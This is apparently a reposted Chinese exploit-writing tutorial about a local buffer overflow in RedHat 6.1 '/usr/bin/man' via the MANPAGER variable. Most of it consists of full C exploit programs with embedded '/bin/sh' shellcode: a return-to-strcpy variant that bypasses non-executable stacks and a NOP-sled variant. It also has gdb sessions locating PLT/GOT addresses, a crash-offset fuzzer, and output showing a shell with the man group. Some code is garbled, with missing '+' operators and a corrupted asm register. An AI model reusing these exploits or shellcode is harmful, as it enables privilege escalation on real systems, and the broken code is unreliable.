區(qū),無法覆蓋返回地址指向我們的shellcode。請參看tt在綠盟網(wǎng)絡(luò)安全月刊第8期中
的<< 繞過Linux不可執(zhí)行堆棧保護(hù)方法淺析 >>,具體的技術(shù)原理不再贅述。
Lam3rZ 小組的 Kil3r 所編寫的exploit code采用的技術(shù)是,用于覆蓋的返回地址指
向 strcpy() 函數(shù)的 PLT 入口(過程鏈接表入口),同時在堆棧中利用 MANPAGER 變
量的緩沖區(qū)溢出,偽造一個發(fā)生常規(guī) strcpy() 函數(shù)調(diào)用時所需要的假棧幀。
shellcode采用自定義環(huán)境變量的技術(shù)傳遞進(jìn)入堆棧高區(qū),因為使用了 execle() 函
數(shù)調(diào)用,該shellcode在 /usr/bin/man 進(jìn)程地址空間中的位置相對固定,很容易猜
測調(diào)整。當(dāng)返回地址被成功覆蓋后,程序流程隨著問題函數(shù)的返回而轉(zhuǎn)向一個
strcpy() 函數(shù)調(diào)用,strcpy() 函數(shù)調(diào)用會將shellcode從 /usr/bin/man 進(jìn)程的環(huán)
境變量區(qū)(堆棧高區(qū))拷貝到另外一個區(qū)域,這個區(qū)域要求在不可執(zhí)行堆棧環(huán)境下依舊
可寫可執(zhí)行,該區(qū)域必須在 /usr/bin/man 進(jìn)程的地址空間內(nèi)。顯然,這個區(qū)域的地
址需要提前猜測確定,因為該區(qū)域的地址作為 strcpy() 函數(shù)調(diào)用的目標(biāo)地址,必須
在偽造假棧幀時提供,后面我們會介紹猜測確定該區(qū)域地址的技術(shù)手段。
至于 strcpy() 函數(shù)調(diào)用完成,我們的shellcode已經(jīng)進(jìn)入可執(zhí)行區(qū)域,流程又是如
何轉(zhuǎn)向我們自己的shellcode,請參看tt在綠盟網(wǎng)絡(luò)安全月刊第8期中的
<< 繞過Linux不可執(zhí)行堆棧保護(hù)方法淺析 >>,內(nèi)有圖示,我看得頭都快白了,總算
理解,chat* sigh。
從上面的攻擊思路分析中完全可以看出,Lam3rZ 小組的 Kil3r 的攻擊手段適用范圍
要廣些,所以我們先采用這種技術(shù)完成一次攻擊。
4. 攻擊第一步,猜測確定幾個關(guān)鍵地址
(1) 確定 /usr/bin/man 中 strcpy() 函數(shù)的 PLT 入口
[scz@ /home/scz/src]> gdb /usr/bin/man
GNU gdb 4.18
This GDB was configured as "i386-redhat-linux"...
(gdb) p strcpy
$1 = {<text variable, no debug info>} 0x80490e4 <strcpy>
(gdb) q ^
[scz@ /home/scz/src]> |
|
#define STRCPYPLT 0x080490e4 ------>------
因為緩沖區(qū)溢出發(fā)生在 /usr/bin/man 進(jìn)程地址空間中,我們需要確定的 strcpy()
函數(shù)的 PLT 入口也應(yīng)該是 /usr/bin/man 中 strcpy() 函數(shù)的 PLT 入口。該入口
和 /usr/bin/man 文件二進(jìn)制映像有關(guān),對于某個確定的elf格式的程序文件,該
入口相對固定。
(2) 猜測確定一個在不可執(zhí)行堆棧環(huán)境下 /usr/bin/man 進(jìn)程空間中可寫可執(zhí)行的區(qū)
域地址
[scz@ /home/scz/src]> man ls
Ctrl-Z <-- -- -- 輸入 Ctrl-Z 掛起 man ls
[scz@ /home/scz/src]> jobs
[1] Stopped man ls
[scz@ /home/scz/src]> ps -ef | grep man
scz 2377 1860 0 12:03 pts/2 00:00:00 man ls
[scz@ /home/scz/src]> cat /proc/2377/maps
08050000-08051000 rw-p 00007000 03:06 36427 /usr/bin/man
[scz@ /home/scz/src]> fg %1
q <-- -- -- 退出 man ls
[scz@ /home/scz/src]>
這個區(qū)域顯示的是可讀寫,并沒有可執(zhí)行,但實際是可執(zhí)行的。我們挑選一個處在4
字節(jié)對齊邊界上的地址,將來shellcode最終被拷貝到該地址并在該地址上開始執(zhí)行。
#define SHELLCODETARGET 0x0805010c
注意,這里的 SHELLCODETARGET 需要出現(xiàn)在 MANPAGER 環(huán)境變量中,所以不得出現(xiàn)
零值。我當(dāng)時挑選了 0x08050100 ,結(jié)果總是不能正確溢出,后來才想起這個毛病所
在。
我們可以不通過 /proc/<pid>/maps 文件查找滿足條件的區(qū)域地址,而直接使用
strcpy() 函數(shù)的 GOT 入口(全局偏移表入口)地址。
[scz@ /home/scz/src]> gdb /usr/bin/man
GNU gdb 4.18
This GDB was configured as "i386-redhat-linux"...
(gdb) disas strcpy
0x80490e4 <strcpy> : jmp *0x8050cac
0x80490ea <strcpy 6> : push $0x1d8 <-- -- -- 動態(tài)鏈接器使用
0x80490ef <strcpy 11>: jmp 0x8048d24
(gdb) x/1wx 0x8050cac <-- -- -- 全局偏移表中 strcpy 入口地址
0x8050cac <_IO_stdin_used 11176>: 0x080490ea
(gdb) q
[scz@ /home/scz/src]>
#define STRCPYPLT 0x080490e4
#define STRCPYGOT 0x08050cac
#define SHELLCODETARGET STRCPYGOT
顯然 STRCPYGOT 符合可寫可執(zhí)行區(qū)域的條件??赡苣銚?dān)心直接使用 STRCPYGOT 作為
目標(biāo)地址,會影響到 strcpy() 函數(shù)本身的執(zhí)行過程。仔細(xì)研讀上面匯編代碼,使用
STRCPYGOT 的時候還沒有發(fā)生字符串拷貝,換句話說,發(fā)生字符串拷貝的時候已經(jīng)無
所謂 STRCPYGOT 處是什么內(nèi)容了,反正我們的shellcode是不會使用 strcpy() 函數(shù)
的。要是還不放心,就不要直接使用 STRCPYGOT 作為目標(biāo)地址,而使用 STRCPYGOT
4 作為目標(biāo)地址,只是不知道全局偏移表中 strcpy 入口地址的下一個又是什么函
數(shù)的入口地址,反正都無所謂。
(3) 猜測確定位于 /usr/bin/man 進(jìn)程環(huán)境變量區(qū)的shellcode地址
下面的討論基于一個假設(shè),你已經(jīng)明白elf文件的內(nèi)存布局。我們需要通過環(huán)境變量
傳遞shellcode進(jìn)入 /usr/bin/man 的進(jìn)程空間,strcpy() 使用這里的shellcode作
為拷貝源。猜測確定拷貝源地址是必須的。
#define VULPROGRAM "/usr/bin/man"
#define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) )
這里唯一需要注意的是 sizeof( VULPROGRAM ) 包括了結(jié)尾的'\0'。如果擔(dān)心不夠精
確,可以在shellcode的前部增加 NOP 指令。
上面的技術(shù)適用于i386/Linux平臺,對于SPARC/Solaris平臺這樣相對復(fù)雜的情況,
還可以采用輔助程序觀察execle()之后的內(nèi)存布局,我們在條目6中介紹。
(4) 猜測確定問題緩沖區(qū)溢出點
實際上攻擊從問題描述就已經(jīng)開始了,發(fā)現(xiàn)問題的同時就開始了攻擊過程,問題緩沖
區(qū)溢出點顯然可以從 3945 9 = 3954 附近考慮。但是,不知道什么緣故,居然無
法得到core文件,也就無法深入調(diào)試,最后只好參看 Kil3r 的exploit code,發(fā)現(xiàn)
他使用的溢出點在4067,因為沒有core文件,無法確定發(fā)生了什么,為什么3954已經(jīng)
開始溢出,但真正有效溢出點卻在4067,中間相差這么多字節(jié),沒有core的日子真難
過。
#define VULPOINT 4067
5. 編寫針對不可執(zhí)行堆棧環(huán)境的溢出攻擊程序
/*
* File : ex_man.c for redhat 6.1 /usr/bin/man
* Author : Kil3r of Lam3rZ
* Rewriten : scz < mailto: scz@isbase.com >
* Complie : gcc -o ex_man ex_man.c
* Usage : ./ex_man
* Date : 2000-05-16
*/
#include <stdio.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
/* 一段標(biāo)準(zhǔn)的linux/i386下的shellcode */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define STRCPYPLT 0x080490e4
#define STRCPYGOT 0x08050cac
#define RETADDRESS STRCPYPLT /* 用于覆蓋的返回地址 */
#define SHELLCODETARGET STRCPYGOT
#define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) )
#define VULPROGRAM "/usr/bin/man"
#define VULPOINT 4067
#define SAFEPADLEN 24
#define PAD 'A'
#define SUCCESS 0
#define FAILURE -1
int main ( int argc, char * argv[] )
{
char * vulbuf;
char * env[3];
u_long * pointer;
u_long vulPoint = VULPOINT;
u_long vulBufSize = VULPOINT SAFEPADLEN;
fprintf( stderr, "Usage: %s [ vulPoint ]\n", argv[0] );
if ( argc > 1 )
{
vulPoint = strtoul( argv[1], NULL, 10 );
vulBufSize = vulPoint SAFEPADLEN;
}
vulbuf = ( char * )malloc( ( size_t )( vulBufSize ) );
if ( vulbuf == 0 )
{
fprintf( stderr, "Can't allocate memory %lu bytes\n", vulBufSize );
exit( FAILURE );
}
fprintf( stderr, "vulPoint = %lu\n", vulPoint );
memset( vulbuf, PAD, vulBufSize );
vulbuf[ vulBufSize - 1 ] = '\0';
pointer = ( u_long * )( vulbuf vulPoint );
*pointer = RETADDRESS;
*pointer = SHELLCODETARGET;
*pointer = SHELLCODETARGET;
*pointer = SHELLCODESOURCE;
memcpy( vulbuf, "MANPAGER=", 9 );
env[0] = vulbuf;
env[1] = shellcode;
env[2] = NULL;
execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );
free( vulbuf );
return( SUCCESS );
} /* end of main */
[scz@ /home/scz/src]> cat > ex_man.c
[scz@ /home/scz/src]> gcc -o ex_man ex_man.c
[scz@ /home/scz/src]> ./ex_man
Usage: ./ex_man [ vulPoint ]
vulPoint = 4067
bash$ id
uid=505(scz) gid=100(users) egid=15(man) groups=100(users)
bash$ exit ^
exit |
[scz@ /home/scz/src]> |
溢出成功 ------>------
這里根本沒有使用傳統(tǒng)的 get_esp() 函數(shù),而且這個exploit code適用于常規(guī)環(huán)境。
但是這種溢出攻擊技術(shù),需要精確覆蓋返回地址,并且無法采用傳統(tǒng)的大段返回地址
覆蓋一片區(qū)域的方式,因為涉及到構(gòu)造 strcpy() 函數(shù)調(diào)用假棧幀的技術(shù)問題。注意
到,實際上我們現(xiàn)在唯一需要調(diào)整的就是溢出點,可以考慮暴力猜測調(diào)整溢出點。再
就是,這次關(guān)鍵沒有core dump出現(xiàn),一般都有core dump,那樣的話就可以不用暴力
猜測調(diào)整了。
我還碰到一個問題,該exploit code在SecureCRT或者CRT下執(zhí)行都無法取得shell,
雖然段溢出發(fā)生了。僅僅當(dāng)我使用telnet的時候才正確取得shell,原因未明。建議
如果實在無法取得shell,考慮換個終端工具試試(tt胡言亂語),faint
6. 一個輔助觀察execle()之后內(nèi)存布局的小程序
/*
* gcc -o ev ev.c
* scz < mailto: scz@isbase.com >
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#define SUCCESS 0
#define FAILURE -1
#define ENVDATA 0xbfffff00
#define ENVDATALEN 256
void outputBinary ( const unsigned char * byteArray, const size_t byteArrayLen )
{
u_long offset;
int i, j, k;
fprintf( stderr, "byteArray [ %lu bytes ] ----> \n", byteArrayLen );
if ( byteArrayLen <= 0 )
{
return;
}
i = 0;
offset = 0;
for ( k = byteArrayLen / 16; k > 0; k--, offset = 16 )
{
fprintf( stderr, "X ", offset );
for ( j = 0; j < 16; j , i )
{
if ( j == 8 )
{
fprintf( stderr, "-X", byteArray );
}
else
{
fprintf( stderr, " X", byteArray );
}
}
fprintf( stderr, " " );
i -= 16;
for ( j = 0; j < 16; j , i )
{
/* if ( isprint( (int)byteArray ) ) */
if ( ( byteArray >= ' ' ) && ( byteArray <= 255 ) )
{
fprintf( stderr, "%c", byteArray );
}
else
{
fprintf( stderr, "." );
}
}
fprintf( stderr, "\n" );
} /* end of for */
k = byteArrayLen - i;
if ( k <= 0 )
{
return;
}
fprintf( stderr, "X ", offset );
for ( j = 0 ; j < k; j , i )
{
if ( j == 8 )
{
fprintf( stderr, "-X", byteArray );
}
else
{
fprintf( stderr, " X", byteArray );
}
}
i -= k;
for ( j = 16 - k; j > 0; j-- )
{
fprintf( stderr, " " );
}
fprintf( stderr, " " );
for ( j = 0; j < k; j , i )
{
if ( ( byteArray >= ' ' ) && ( byteArray <= 255 ) )
{
fprintf( stderr, "%c", byteArray );
}
else
{
fprintf( stderr, "." );
}
}
fprintf( stderr, "\n" );
return;
} /* end of outputBinary */
int main ( int argc, char * argv[] )
{
u_char * envData = ( u_char * )ENVDATA;
size_t envDataLen = ENVDATALEN;
if ( argc > 1 )
{
/* 采用16進(jìn)制 */
envData = ( u_char * )strtoul( argv[1], NULL, 16 );
if ( argc > 2 )
{
/* 采用10進(jìn)制 */
envDataLen = ( size_t )strtoul( argv[2], NULL, 10 );
}
}
fprintf( stderr, "Usage: %s [ envData ] [ envDataLen ]\n", argv[0] );
fprintf( stderr, "envData = %p\n", envData );
fprintf( stderr, "envDataLen = %lu\n", envDataLen );
outputBinary( envData, envDataLen );
return( SUCCESS );
} /* end of main */
程序很簡單,就是顯示一段內(nèi)存映像。我們所要做的,就是把exploit code里的幾個
地方修改一下:
#define VULPROGRAM "./ev"
execle( VULPROGRAM, VULPROGRAM, "0xbfffff00", NULL, env );
這樣觀察得到的shellcode源地址顯然不適用,因為這里的./ev和/usr/bin/man長度
不一樣,熟悉elf文件格式的應(yīng)該可以理解這點。于是我們簡單處理一下:
cp ev usrbin_man
#define VULPROGRAM "./usrbin_man"
execle( VULPROGRAM, VULPROGRAM, "0xbfffff00", NULL, env );
此刻看到的shellcode源地址就和 /usr/bin/man 進(jìn)程空間環(huán)境變量區(qū)里的一致了。
必須意識到 execle() 第一個形參對進(jìn)程空間環(huán)境變量區(qū)的影響。
這種技術(shù)手段適用于SPARC/Solaris平臺,我們利用它可以確定很多關(guān)鍵性地址,可
以調(diào)整那些需要n字節(jié)邊界對齊的地方。
7. 編寫針對常規(guī)環(huán)境下的溢出攻擊程序
--------------------------------------------------------------------------
/*
* File : ex_man.c for redhat 6.1 /usr/bin/man
* Author : Kil3r of Lam3rZ
* Rewriten : warning3 < mailto: warning3@isbase.com >
* Complie : gcc -o ex_man ex_man.c
* Usage : ./ex_man
* Date : 2000-05-16
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
/* 一段標(biāo)準(zhǔn)的linux/i386下的shellcode */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define VULPROGRAM "/usr/bin/man"
#define VULPOINT 4067
#define NOP 0x90
#define SUCCESS 0
#define FAILURE -1
#define OFFSET 2000
unsigned long get_esp ( void )
{
__asm__
("
movl %esp, 陎
");
} /* end of get_esp */
int main ( int argc, char * argv[] )
{
char * env[2];
u_long * pointer;
u_long retAddress;
char vulbuf[ VULPOINT 5 ];
memset( vulbuf, NOP, VULPOINT 5 );
memcpy( vulbuf VULPOINT - ( strlen( shellcode ) 20 ),
shellcode, strlen( shellcode ) );
retAddress = get_esp() OFFSET;
pointer = ( u_long * )( vulbuf VULPOINT );
*pointer = retAddress;
fprintf( stderr, "retAddress = 0xx\n", retAddress );
memcpy( vulbuf, "MANPAGER=", 9 );
vulbuf[ VULPOINT 4 ] = '\0';
env[0] = vulbuf;
env[1] = NULL;
execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );
return( SUCCESS );
} /* end of main */
在調(diào)試這個程序的時候,我們發(fā)現(xiàn) MANPAGER 環(huán)境變量值長度在某個地方被檢查過,
只是這個檢查對于溢出攻擊取得shell并沒有起到保護(hù)作用。
為什么這里定義 OFFSET 為2000呢,可以采用條目6中的辦法來觀察一下execle()之
后環(huán)境變量區(qū)里的內(nèi)容,簡單修改如下:
--------------------------------------------------------------------------
#define VULPROGRAM "./usrbin_man"
... ...
execle( VULPROGRAM, VULPROGRAM, argv[1], NULL, env );
return( SUCCESS );
} /* end of main */
--------------------------------------------------------------------------
偏移為2000的時候返回地址落在NOP區(qū)內(nèi)。那么溢出點4067呢?沒辦法,還是從前一
個程序里直接獲知的,有core dump的時候可以調(diào)試確定。
8. 關(guān)于core文件以及確定溢出點
以前知道一點產(chǎn)生core dump的條件,但感受不深,今天都快要結(jié)束本篇灌水了,才
真正感受了一下。
我拷貝了一個/usr/bin/man到當(dāng)前目錄~scz/src下,然后定義問題程序為./man,此
時以scz用戶身份運行exploit code,故意不正確覆蓋返回地址,立即得到
core dump。
后來又以root身份在幾個不同的當(dāng)前目錄下測試不同的組合情況,有些時候會得到
core dump,有些時候只報告段溢出。core文件是內(nèi)存映像文件,與產(chǎn)生它的進(jìn)程密
切相關(guān),而產(chǎn)生進(jìn)程對應(yīng)硬盤文件的屬主、權(quán)限以及當(dāng)前執(zhí)行它的用戶身份都與是否
產(chǎn)生core dump有關(guān)。情況雖然很復(fù)雜很多,但至少有一點可以肯定,如果包括
exploit code和問題程序在內(nèi)的的所有文件都是當(dāng)前用戶所有,段溢出時一般都會
core dump在當(dāng)前目錄下。對于上面的/usr/bin/man,我們完全可以調(diào)試./man找到
溢出點。此外需要提醒的是,如果希望得到正確的core dump,一定要先刪除當(dāng)前目
錄下已經(jīng)存在的core文件。
之所以這樣限制core dump,應(yīng)該有其安全方面的考慮。下面我們來簡單看看如何確
定./man的溢出點。
--------------------------------------------------------------------------
/*
* gcc -o ex_man ex_man.c
*
* 目的就是產(chǎn)生core dump
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
#define VULPROGRAM "./man"
#define PAD_1 'A'
#define PAD_2 'B'
#define SUCCESS 0
#define FAILURE -1
int main ( int argc, char * argv[] )
{
char * vulbuf = NULL;
char * env[2];
u_long vulbufSize;
if ( argc != 2 )
{
fprintf( stderr, "Usage: %s <vulbufSize>\n", argv[0] );
return( FAILURE );
}
vulbufSize = strtoul( argv[1], NULL, 10 );
vulbuf = ( char * )malloc( vulbufSize );
if ( vulbuf == NULL )
{
fprintf( stderr, "Can't allocate memory %lu bytes\n", vulbufSize );
return( FAILURE );
}
memset( vulbuf, PAD_1, vulbufSize );
vulbuf[ vulbufSize - 5 ] = PAD_2;
vulbuf[ vulbufSize - 4 ] = PAD_2;
vulbuf[ vulbufSize - 3 ] = PAD_2;
vulbuf[ vulbufSize - 2 ] = PAD_2;
vulbuf[ vulbufSize - 1 ] = '\0';
memcpy( vulbuf, "MANPAGER=", 9 );
env[0] = vulbuf;
env[1] = NULL;
execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );
free( vulbuf );
return( SUCCESS );
} /* end of main */
--------------------------------------------------------------------------
[scz@ /home/scz/src]> ./ex_man 5000
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
GNU gdb 4.18
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
#0 0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) q
[scz@ /home/scz/src]>
說明5000已經(jīng)導(dǎo)致返回地址被覆蓋成0x41414141,考慮減小該值。重復(fù)類似步驟,直
到發(fā)現(xiàn)4063仍未溢出,4064開始溢出,并core dump。
[scz@ /home/scz/src]> ./ex_man 4063
[scz@ /home/scz/src]> ./ex_man 4064
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
GNU gdb 4.18
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
#0 0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4065
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
Core was generated by `./man ls'.
Program terminated with signal 11, Segmentation fault.
#0 0x0 in ?? ()
(gdb) bt
#0 0x0 in ?? ()
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4066
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
(gdb) bt
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
Cannot access memory at address 0xbf004236.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4067
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
30 ../sysdeps/generic/strcpy.c: No such file or directory.
(gdb) bt
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30
Cannot access memory at address 0x424236.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4068
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x804a362 in strcpy () at ../sysdeps/generic/strcpy.c:30
30 ../sysdeps/generic/strcpy.c: No such file or directory.
(gdb) bt
#0 0x804a362 in strcpy () at ../sysdeps/generic/strcpy.c:30
#1 0x807d948 in ?? ()
Cannot access memory at address 0x42424242.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4069
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x8040042 in ?? ()
(gdb) bt
#0 0x8040042 in ?? ()
Cannot access memory at address 0x42424241.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4070
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x8004242 in ?? ()
(gdb) bt
#0 0x8004242 in ?? ()
Cannot access memory at address 0x42424141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4071
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x424242 in ?? ()
(gdb) bt
#0 0x424242 in ?? ()
Cannot access memory at address 0x42414141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4072
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x42424242 in ?? ()
(gdb) bt
#0 0x42424242 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) q
[scz@ /home/scz/src]> ./ex_man 4073
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb ./man core
#0 0x42424241 in ?? ()
(gdb) bt
#0 0x42424241 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) q
[scz@ /home/scz/src]>
在從4064到4073的分析觀察過程中,我們顯然已經(jīng)看到,當(dāng)取值4072的時候會覆蓋一
個函數(shù)指針還是返回地址什么的,總之是個會導(dǎo)致控制流轉(zhuǎn)移的4字節(jié)。注意到我們
測試程序中代碼,溢出點應(yīng)該在 4072 - 5 = 4067。至此,猜測確定溢出點的工作完
成了。至于為什么通過execle()執(zhí)行和通過命令行shell執(zhí)行時溢出點相差較遠(yuǎn),我
也不清楚??磥硪院蟠_定溢出點,直接用程序猜測確定要準(zhǔn)確些。
core文件的好處很多,這里僅僅列舉了一種應(yīng)用。以后看到core我就要看看什么寶貝
其中,說不好一個shadow就來了。grin
9. 總結(jié)
a) 可以利用條目6的辦法觀察execle()之后環(huán)境變量區(qū)內(nèi)容,確定很多地址。
b) 無法溢出取得shell的時候嘗試換個終端登錄工具。
c) 沒有core dump,你就去死吧。一定要想法得到core文件,進(jìn)而調(diào)試確定問題程序
溢出點。得不到core時仔細(xì)檢查相關(guān)文件權(quán)限以及當(dāng)前用戶身份。
相關(guān)文章
什么是CC攻擊 判斷網(wǎng)站是否被CC攻擊并且如何防御CC攻擊
CC主要是用來攻擊頁面的,大家都有這樣的經(jīng)歷,就是在訪問論壇時,如果這個論壇比較大,訪問的人比較多,打開頁面的速度會比較慢,對不?!一般來說,訪問的人越多,論壇的頁2024-01-06Windows系統(tǒng)安全風(fēng)險-本地NTLM重放提權(quán)
入侵者主要通過Potato程序攻擊擁有SYSTEM權(quán)限的端口偽造網(wǎng)絡(luò)身份認(rèn)證過程,利用NTLM重放機(jī)制騙取SYSTEM身份令牌,最終取得系統(tǒng)權(quán)限,該安全風(fēng)險微軟并不認(rèn)為存在漏洞,所以2021-04-15- 這篇文章主要介紹了文件上傳漏洞全面滲透分析小結(jié),這里主要為大家分享一下防御方法,需要的朋友可以參考下2021-03-21
- 這篇文章主要介紹了sql手工注入語句&SQL手工注入大全,需要的朋友可以參考下2017-09-06
- 這篇文章主要介紹了詳解Filezilla server 提權(quán),需要的朋友可以參考下2017-05-13
FileZilla Server 2008 x64 提權(quán)與防御方法
這篇文章主要介紹了FileZilla Server 2008 x64 提權(quán)與防御方法,需要的朋友可以參考下2017-05-13https加密也被破解 HEIST攻擊從加密數(shù)據(jù)獲取明文
不久之前我們說過關(guān)于http和https的區(qū)別,對于加密的https,我們一直認(rèn)為它是相對安全的,可今天要講的是,一種繞過HTTPS加密得到明文信息的web攻擊方式,不知道這消息對你2016-08-10iPhone和Mac也會被黑 一條iMessage密碼可能就被盜了
一直以來蘋果系統(tǒng)的安全性都是比安卓要高的,但是再安全的系統(tǒng)也免不了漏洞,蘋果也一樣。最近爆出的新漏洞,只需要接收一條多媒體信息或者iMessage就會導(dǎo)致用戶信息泄露。2016-07-27- 國家正在修正關(guān)于黑客方面的法律法規(guī),有一條震驚黑客圈的“世紀(jì)佳緣”起訴白帽黑客事件,深深的傷害了廣大黑客們的心,加上扎克伯格和特拉維斯·卡蘭尼克賬號被盜,于是黑2016-07-11
如何逆向破解HawkEye keylogger鍵盤記錄器進(jìn)入攻擊者郵箱
面對惡意郵件攻擊,我們就只能默默忍受被他攻擊,連自我保護(hù)能力都沒有談什么反抗?讓人痛快的是,如今有了解決辦法,逆向破解鍵盤記錄器,進(jìn)入攻擊者郵箱2016-07-06